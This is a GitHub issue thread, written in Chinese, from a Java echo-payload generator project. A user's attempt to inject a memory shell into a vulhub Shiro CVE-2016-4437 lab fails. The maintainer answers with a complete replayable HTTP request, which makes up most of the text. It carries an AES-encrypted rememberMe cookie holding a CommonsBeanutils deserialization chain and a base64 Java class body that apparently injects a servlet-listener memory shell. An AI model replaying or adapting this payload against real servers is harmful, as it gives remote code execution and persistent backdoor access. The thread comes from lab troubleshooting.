pen4uin / java-echo-generator

一款支持自定义的 Java 回显载荷生成工具|A customizable Java echo payload generation tool.
393 stars 39 forks source link

code 模式问题 #3

Closed dpyol closed 8 months ago

dpyol commented 8 months ago

环境:https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437 先用JEG生成class文件 image 再用cb链生成序列化代码 image 之后用shiro key加密代码 image 利用JMG生成内存马,内存马注入失败 image

pen4uin commented 8 months ago

参数 Ehmezkxozq 的值有进行 url 编码吗?

dpyol commented 8 months ago

编码了ctrl+u,和url-encode all characters都试过了

pen4uin commented 8 months ago

重放这个请求包试试

POST /doLogin HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17206
Origin: http://127.0.0.1:9090
Connection: close
Cookie: rememberMe=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
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

Oxrrtfqnv=yv66vgAAADEBewEAKm9yZy9hcGFjaGUvaHR0cC9jbGllbnQvZi9TZXJpYWxpemF0aW9uVXRpbAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAxnZXRDbGFzc05hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBACpvcmcuYXBhY2hlLmNvbW1vbnMuTG9nNGpDb25maWdQYW54TGlzdGVuZXIIAAgBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zAQATamF2YS9pby9JT0V4Y2VwdGlvbgcADAEAEGphdmEvbGFuZy9TdHJpbmcHAA4BEUhINHNJQUFBQUFBQUFBSTFZQ1h3VTFSMytYbmFUMld3V2dhd0V3bjJUWTVNbFNEZ1NncENRUUNCWklBbG9vRllubTBteXNObGRkMmNEQWFrSFhtMXRQZXFGcmIyc1JWcmJjdWdta1lyVVdtMjFkMnV0OXJBM3JiYTJ0RXExcmFiZm01bHNqazJFbjJGbTlyMy8rZjJQOTM4Ky85NFRwd0NVaUNhQmduQzAzYXRHVkgrSDV2V0hPenZEb1ppM0x0eStkRmRWT05RV2FOK2lodmJXQldLNkZ0S2lDb1RBcEYxcWwrb05xcUYyYjFWUWpjWHF3bXFyM0xJSnpKZGJlNzB4TGRvVjFIUnZvL2x1MEs2T2F6RjlVRWk2UU1hcVFDaWdyeGF3NWVWdkY3QlhoVnMxZ2ZGMWdaRG1pM2UyYU5FbXRTWElsZXk2c0Y4TmJsZWpBZm5iV3JUckhZR1lnS2Z1d2kwdmQwR0J3d2s3TGhLWW1sYzNxZy9sMGhTeFQyRHlHUHRTeUFRcHhFMmFRWkpHUFJvSXRWZkdBMEVEaUVsTzVFZzE5Z2c1cFFzaktTbG5Dbkl6a1lhcFJFS05STFJRcTBCUlhpcGhmc3FTcFlVaXBtT0dWRFNUR083V3VsMlliWXFjSStEUXd5YXh3TVY1cVNMSU93L3pKZThDOG5hMmxnb3N2Q0RkWkZ5RVBDZVY1TXN2UTEyaFFQcTJwcHFpRlE0VUNhVDVZeTU0elozRnhISXIweVZ2WjJYK1NEekxKV2tMSHpzckJiSmF0VGJHM2RnZ3JxU3ZyVTNsY0dFWmxrdnNWMUR1WGdHRmREdnlKYjk3a0xSNnIxK0w2SUZ3U01FcWt2bXB2czdNU1grME82S0h2VldCU0FmUlkzQzYxT2pTZ2UwUnpOd1d0RVIwOHQ4T0JhV1dpaEZDRk5RSWpHdlVWZi91ZWpWaXBhWnRiWFdqQTdWMHFsM1RhME14WFEzNXVady9KcjRqTFhOaEUrcWNXSTk2Z1ZuRENHSVJ6YytTOGtjMWZaUFczY2hmQ2pZTFRCZ3BXQUZSZDFCOVpiZXUwUTE3SGxGeW9SRk5UalJnbTRud0tPWnNsOWw5bVJOYmNEbVpaSGxLMGxxVE1xYjU0OUdBM3UybGFvTjBCM1pLS3ovQVFMU0dhd0loTmNoVWxxR1d1ajZJSytYbVZiUXVhaGIvT3Y2TGhydTExbVN1amRVbXFydTBrRzVVb2p1V3VpRXc3d0s0V1hTVzNscTZFVkNEZ1gxU2M0WWFqVzZPVThZczA2bEEyQ3N4V2h1TnF0MWNqOFIxWXFHcG5UTCtiY01MZDNQTExzMHZCVHVpV2l6Q1JzT2dqdlNqUTljajNnMThKRTB5S2NtbHhMUllqSmtsTUh0c0pvTkNwbWFycXF2a3NWd1FXSFJlUlFZaFdlZWNGeHNGVVlFRkZ5UlBBWFV2dkRBZkZYUUp6SHgvMXhTd2JDY3lNWWVySVNaNStlOGJWQmJGUHV4M0lvWnJCSndkbXV6RlByVlRjK0ZEWnF1NVZpQ1RjamNZT3k1Y2o3d3N4SEVEcTlBazNxNEc0NlMrMGFTK2lWSDBoME82R2dpeFBLWU5Pd3c2MUdpalZNcXFMYy9mNGNJdHVGVld6WWNGY3RvSHZhMkpoanVUMW04OWZ4NllYb3gwY3N4OGNlR2p1RTIyMlkvUlhRTXZLM25tcGdDVmtqNHUzSTQ3cFBkM0Nyakl1MFdORWlsZHd2SUpFNWE3dWRHaXhyUmxTOWRwZnVQWXpSbXRPOGs2dmhmM1NUUHVkNkVNNWZMckFhWmxSTzBPOGpoMDRGT21oclU2T1ZyaXVuYitZOFNxSWhjK2pjOWtvUnVmSGRhK3pGMEZuemZibDNVZXVQTkdPd3UrZ0llZGVBaGY1TXd3WWxQQkl3SVhEZkNiQjdkQWJxcVU1Sm4rSlh6WmlTTjRWRHJvZG1FSkxwRmZYNk4zc1dIZUxSckZ1MVRuWkhNOGh1UFN2Uk1NWDJRQS81Z0RqMHY0dVRqamZidVBnbDRuK3VRQWtSWFM5Z3llSWNPUDhpU1VKL0YxYWYyVGJHL01NelVZazBmdUtHWXhtWi9DYVFuYU44eHF1WXo5WEVJemVVQXVEZHBDcDZ3Tml2NG1uc25DSG55TDlMRjRTOHdhS1hMeWhoL1B5ZG5nT1h4YjFzcDNCazdrNGZJVXZNQlJZWS84SG1IaGtBUG9lL2krRTkvRkQ2U1pIRTZ5OUhBU0loZCtMRSt3UHZ3a21iL1ZvWUg4SFQ1aUpDMTZFVCtUb1h4Sktoekw1cGVsemE5UVYxc3dIdXVvakxlMXlWcjVKUnpTOVY4eGdzbXhnQkdNMEFWQ1Y4UFRhY1VvSUY5Zzl2OFd2NU5tL2Q2QjNWYlROQWw4NGNhNHY2TW1vQVZiaHd3eWZ6S0hsZEtCczJOc1dtdXNXV3krU3N6WEVpYi9FTDZvMWhha0ZWNkQwMks0aEcxNWxBbHQ4aGhjQ3Y3QnVpVU03QjlCTmFxMUdxdm5IMkNIcTNiaG4vaVh6TnczT1VYSkpoZVBhRkcvVk8zQ09WbmRSL0J2T1pFd0ljN2dIZExJWXZUN1pac3pMd0Y1TzJURy9CZi9jK0lzM3VYb1JTRWpXdEJBN284V2hINkdGbWNGTHpRelJvdzQ5ZFNodG12ckF1M21vV3FMU3NHMituV2xEc0dyeTdUM29WYUVJbEF5Tmc1ajZPRFFKektkd2lHY3JPS2dGbXJYTzR5YlVhMUx1TVE0SnFoZ044aUlSemdZYU9ia3l4TGM3aElUeEVUSmxjM21ZSWp2VlBVT2IyV2d2VGFrYSswc09YRXgyVm9OSFM2UncvSWg4V1E1cDlXeVlPUzhKM0tkWXBLWUtpOEVMOHV2NlViTmJlT05KRnJGRW5PSm1mS2kwQ0JtVWF0WmJXd1lHV2IxbWJtempFTjhDM3RPZXBjOFk2MStYaHpYQThIaVNvUE1JUmFTdVMxc25OZ2NQYzZUSkZhREYza2lueWtnQ3N3VDBOTHRFQjZPWlR0VHlCVlJiUGEwZWszdkNETVYxNHlpSlpWdHRPUTBKZENBeGFKRUdzRHljZTlNelI5RjBQOHBZN0VyZ3JCa0JFSmQ0ZDEwZWVVb0tUbUt5Tkd5Vkt3UUs1MWl1U2pqa2FZWkdEUlpWenVINEFVbkp4WVBGWGNHWXY3aXlyV04xUU1Oa1RDdGxxZUI4Y01oMXNnUlhiTmk1elRMMXFTcWt0bWhtVlRWcWRLU2RPdlpjVTA2c3owNkJDODRqbFgrb0hXSFZ5Ni9PdGdWMjlYcEVIVk1nT1Z0SlN0V3RyUzBxU1hhMHBWdExhME80YVBlYlp4WWl0YTJjd0oxaUMxTW5mcjJjTWdoR2pDSGpkQU9Hc0wvSFBKU0NTQlRYaUg1ZHNocnN2R2ViYnlGblBlTTk0M0cyOFV2M3VyNXpPU3Z0WlFrK0hZWDlHQjhnVnRzZlJ6WDhkWDRPRzQreHVVMGxqc2creTR3RTltWWhTeExCRm40SG1jSTV2M2VFaGNucGFRdExTanN3Y1hENVoxRVRuTVBKaC9IdEFSbUhjZGNQaE5ZMkl1Q0UvQmtGNTlBeWFEQ2JIb0h6S1dLZWZScVBwWmlnYUU0eHhSdUtaWmZFMG5MaTRlY1B5d1RLc2dycVRJTENtMkZwM3F3OG1oU2JJWmhkOTRRVVpsSlVabFVVbXFJNHRSbWlYcUpITktRd3V5TnZmRDVpcVlmZ21JL0RIdjZTV3hwTmp6WW5yMnhCODBKWEZGVW1JQjYxQ2VPR2lwNDRhY2ROa05wRHRMNUxLS29ZbnJrNWM1aTVLUEVNR0lwOXpLNHVocVhranFmSnExaFJHeFNaZEt3UWxRYWhzbXZLcXdqelFaK3I0S3RIK05oVjVDbW9Gb292RGpLUnorM2hxN3hZNzNveDJUWXJFVkpWVUZwTGZCYlRwWWE4RENNeDBiZ3RHd0lUaUpwamtBck5BT250Z0VSNGd6ZGNIRHZIRUU0Y0JyeGVrL0JZN2l1RHdmVDhDeGVIZnpCajVzVCtNZ2h2RkRnNmNISGZaNCszRVc4N1I3bVJCL3VTVU12RHBXbEYrU20yeEw0WkZsNnJqMzd3VDU4TG8zenhsejVmUkpwelFVSkhFN2dLejM0YW01NkFrZjc4SmdOaDdIZms1M0lUZTlEajQyVFhSK3o3SW15akNUM2FSeEo0RlNaa3F2a1ppVHc5R1c1aWtlK2l2cndyTUJ4ZUd3VEppVHdmQUkvekZVUytKRzFYaUJwZjJxbkhiMzRPZmVTMUpMNEYrYkNyd1ZWMjMzSGlJS0RwK21ieVpCdnh5UStWM0sxbkVGZHhhQlhZRG1EWE0wdyt4amlIUXh5TjRONWtPRzhqYXNQb2dZUE02eVBvaGFuc0JIUFlCTmVRUjFlSi9WWkRscHZZaXZlUXFNUmp3Wkt2WTBSYUVjSDQvUWdtaERBTGxhZ0YwOWpONEswWURtZVFDZEN6TnhxU2d3endESUJ6eVVqZU02S29BTnZJSUtycllTYUIzcy9qY293OG9UM2diaUNQUXE2bVRQQTI5aFRLZE9HcEx4ajhmbXFURE9LcURBeWFCTlhwQXF2cUM5MDR6ZTkrSU1iZitUek5QYlVIOFpVWCtIUW40NHlWcENOZjU2alJxOXdNOE1xbUtCeldlTFVnQUk1NkhGZENuNlIza2pCSzBTOWpMdXZLUHVoaDVFalMrMHRTaHBYWmk5SzRHM2Y0ZjdYUE0vQmRSSm5tdGwwL3ZPVWgxRjd6MU9RRUdteUdNY1pHczVZa1ZsQ0ZFRDgwN0NUbUYzQjNTdTVmeFVwVkxiTkZzeGdUczltWnM4bnZrVkVkZ214SFNqVUtmejNaL3pGNkFncjhCcDNZSHk5enJiSzg1ejE4bGY4alcrRnhmMEcvazZORXRlSnNMOExSY0ZaQlVkOENzNWt1b2FoSnp1RldZZVBjTTFtL08vbE9yZkk2QlZackNJMkdCc2RHWjhRN3BOaVVyUGRreEJUZXNRMDVxQ1lrUkN6NjVoKzlZVkhEZTJGYkM4RCtUZVROb0NSVDJOME14R2xkekh1eDBtaE0wKzZESTlta3phVHFGY0ptMUhoSld3enVVWUg4QXE3NGRFR284ZW45Wk9OS2RIQVA3TjVrSTFYQkRORXdzY2tsQ0U2SUsxZTFDc0s2ejF1VVNST0MyOUNYT0xodXpRaHluMk0wMkczcUxBL2lTUE50dXpxUnU0VjhjZER6YllDZnBlZlJnTmRLZmU1eGFXR0JGbXU5bHk3d2JSMktGT3VQWVVydmN4ZWFHYlNHbFpVQlN1cWkybGNNU3plKzdoN2dPWitpUEc5bG5TM2tQSTZVdDdBMUQzSTJycVJQRGVUNnlic3g2MEdPaHVJNEF6TUUzTVlaWWxUbVpqTGlLYVJkb0d4WmlkbnNiVzJEc3ZGUEt0dEh4RHpyWWE2WHl4SW9wZ3ZtM1dWMFlBSFVPd25tZDM2YlhSa1B0NGgrZERjdUJmM1dRMjJ5VUw1NEZDVTE0Mk9jbzBGV0VNcXl0WDhJMlNyQ2ZTR0ZLQTNEdVViQWJURk9JaDFGVHRXQmMrWGE0am5jS3hsZTdpZFJ0OUIvTzRrM1NGUzNrWEt1OW5MN21HM3VwYzg5NVByUGx5UEI0Wmd2VkJVV2xoWFdMZzJJYzlZczVPenhGcGJ6MGdNWUgyUVdKc1plejJ4TGgyS2RZMlZzZFVXMWlzazFzYnZvVmc3eEtia0hPUXppZ0FvZG92NkU1am1GcHRQWU80RlRTekNjUDRpbXVUQ1ZGYnpORGFPNmNEL0FiOU12VUV0R2dBQQgAEAEABjxpbml0PgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAEgATCgAPABQBAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAXAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAIbGlzdGVuZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAdjb250ZXh0AQAIY29udGV4dHMBABBMamF2YS91dGlsL0xpc3Q7AQAEdGhpcwEALExvcmcvYXBhY2hlL2h0dHAvY2xpZW50L2YvU2VyaWFsaXphdGlvblV0aWw7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAJExqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs%2bOwEADmphdmEvdXRpbC9MaXN0BwAkAQASamF2YS91dGlsL0l0ZXJhdG9yBwAmAQANU3RhY2tNYXBUYWJsZQwAEgAWCgAEACkBAApnZXRDb250ZXh0AQASKClMamF2YS91dGlsL0xpc3Q7DAArACwKAAIALQEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwwALwAwCwAlADEBAAdoYXNOZXh0AQADKClaDAAzADQLACcANQEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwANwA4CwAnADkBAAtnZXRMaXN0ZW5lcgEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAA7ADwKAAIAPQEAC2FkZExpc3RlbmVyAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWDAA/AEAKAAIAQQEABGtleTEBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcATQEAEGphdmEvbGFuZy9UaHJlYWQHAE8BABFqYXZhL3V0aWwvSGFzaE1hcAcAUQEAE2phdmEvdXRpbC9BcnJheUxpc3QHAFMKAFQAKQEACmdldFRocmVhZHMIAFYBAAxpbnZva2VNZXRob2QBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwAWABZCgACAFoBAAdnZXROYW1lDABcAAYKAFAAXQEAHENvbnRhaW5lckJhY2tncm91bmRQcm9jZXNzb3IIAF8BAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAYQBiCgAPAGMBAAZ0YXJnZXQIAGUBAAVnZXRGVgwAZwBZCgACAGgBAAZ0aGlzJDAIAGoIAEQBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwwAbQBuCgBSAG8BAA1qYXZhL3V0aWwvU2V0BwBxCwByADEBAANnZXQMAHQAPAoAUgB1AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAB3AHgKAAQAeQEAD2phdmEvbGFuZy9DbGFzcwcAewoAfABdAQAPU3Rhbm